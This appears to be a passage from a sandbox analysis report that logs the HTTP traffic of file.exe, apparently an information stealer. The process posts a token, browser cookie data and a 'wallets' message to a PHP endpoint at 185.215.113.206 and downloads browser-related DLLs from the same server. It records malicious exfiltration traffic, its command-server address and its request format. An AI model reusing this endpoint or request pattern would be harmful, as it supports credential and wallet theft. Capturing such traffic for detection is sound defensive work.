Nov 26, 2024 01:41:28.487802029 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="file"------IIECFHDBAAECAAKFHDHI--
Nov 26, 2024 01:41:29.434185028 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49813	185.215.113.206	80	3796	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 01:41:34.978996992 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKEC Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FCBAECGIEBKKFHIDAKEC--
Nov 26, 2024 01:41:36.868130922 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 01:41:37.530106068 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBAFHJJDAKEBGCFCBG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="file"------EGDBAFHJJDAKEBGCFCBG--
Nov 26, 2024 01:41:38.484087944 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 01:41:38.990417957 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 01:41:39.443566084 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 26, 2024 01:41:39.443619967 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Nov 26, 2024 01:41:39.443629980 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Nov 26, 2024 01:41:39.443643093 CET	24	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 Data Ascii: $D$D$$D$
Nov 26, 2024 01:41:39.443698883 CET	1236	IN	Data Raw: 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 00 00 89 c3 88 44 24 07 8b 44 24 40 89 cf 89 4c 24 14 0f b6 c9 c1 e1 18 Data Ascii: 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$
Nov 26, 2024 01:41:39.443742990 CET	224	IN	Data Raw: 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 c1 f8 1f f7 d0 8b 5d 1c 80 7c 33 f5 01 19 ff 09 c7 b8 03 00 00 00 29 c8 Data Ascii: EE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"
Nov 26, 2024 01:41:39.443753004 CET	1236	IN	Data Raw: 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 51 e8 73 00 08 00 83 c4 04 bf ff ff ff ff 8b 45 0c 39 c6 75 0c 53 6a 00 50 e8 af 00 08 00 83 c4 0c 8b 45 d8 85 c0 74 0a 53 50 e8 5c 00 08 00 83 Data Ascii: 1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGHtIUuu
Nov 26, 2024 01:41:39.443902016 CET	1236	IN	Data Raw: 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff 75 14 e8 23 fc ff ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b Data Ascii: nFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]
Nov 26, 2024 01:41:39.452114105 CET	1236	IN	Data Raw: ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c Data Ascii: T>\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9
Nov 26, 2024 01:41:39.452156067 CET	272	IN	Data Raw: 0f f4 f7 66 0f 70 ef f5 66 0f f4 ec 66 0f 6f e0 66 0f fe 25 d0 20 08 10 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f ef db 66 0f eb f9 66 0f 72 f4 17 66 0f fe 25 e0 20 08 10 f3 0f 5b cc 66 Data Ascii: fpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[f
Nov 26, 2024 01:41:39.457257032 CET	1236	IN	Data Raw: d4 66 0f eb d6 83 c6 10 66 0f fe 05 10 21 08 10 83 c1 fe 0f 85 a3 fe ff ff eb 7e 73 1b 8b 07 83 c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b Data Ascii: ff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpff
Nov 26, 2024 01:41:41.121310949 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 01:41:41.572890043 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 26, 2024 01:41:42.469225883 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 01:41:42.920389891 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 26, 2024 01:41:43.740968943 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 01:41:44.192281008 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 26, 2024 01:41:47.468300104 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 01:41:47.920258999 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 26, 2024 01:41:48.572294950 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 01:41:49.024369955 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 26, 2024 01:41:49.543768883 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBF Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 01:41:50.677469015 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 01:41:50.761514902 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="message"wallets------BAAFCAFCBKFHJJJKKFHI--
